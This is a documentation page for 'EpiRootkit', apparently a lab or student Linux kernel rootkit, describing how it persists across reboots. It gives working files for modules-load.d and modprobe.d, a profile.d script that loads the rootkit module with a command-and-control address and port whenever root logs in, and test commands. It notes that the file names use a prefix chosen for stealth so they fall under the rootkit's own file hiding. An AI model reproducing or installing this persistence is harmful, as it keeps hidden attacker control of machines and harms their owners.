On this page
autorenew
Persistence
Automatic rootkit loading across reboots
modules-load.d Method
Modules are
Creates two files:
/etc/modules-load.d/jules_est_bo_system.conf
:
# EpiRootkit module
epirootkit
/etc/modprobe.d/jules_est_bo_modprobe.conf
:
# EpiRootkit module parameters
options epirootkit address=192.168.200.11 port=4444
Shell Profile Method
Creates /etc/profile.d/jules_est_bo_env.sh
:
#!/bin/bash
# System environment initialization
if [ "$(id -u)" -eq 0 ]; then
# Check if module is already loaded via proc filesystem
if [ ! -f /sys/kernel/epirootkit/control ] && ! grep -q "^epirootkit " /proc/modules 2>/dev/null; then
modprobe epirootkit address=192.168.200.11 port=4444 2>/dev/null || insmod /lib/modules/$(uname -r)/extra/epirootkit.ko address=192.168.200.11 port=4444 2>/dev/null
fi
fi
Commands
persist # Install both methods
persist_remove # Remove all
status # Check status
Testing
sudo insmod epirootkit.ko address=192.168.200.11 port=4444
# Install persistence via C2/WebUI command: persist
sudo reboot
lsmod | grep epirootkit
Status Response
{
"persistence": {
"enabled": true,
"methods": {
"modules_load": {
"active": true,
"files": {
"modules_load": "/etc/modules-load.d/jules_est_bo_system.conf",
"modprobe": "/etc/modprobe.d/jules_est_bo_modprobe.conf"
}
},
"shell_profile": {
"active": true,
"path": "/etc/profile.d/jules_est_bo_env.sh"
}
}
}
}
File Naming
- modules-load.d: Uses
jules_est_bo_
prefix for stealth (matches file hiding pattern) - modprobe.d: Uses
jules_est_bo_
prefix for stealth consistency - profile.d: Uses
jules_est_bo_
prefix for stealth
Reliable, standards-compliant persistence with consistent stealth naming.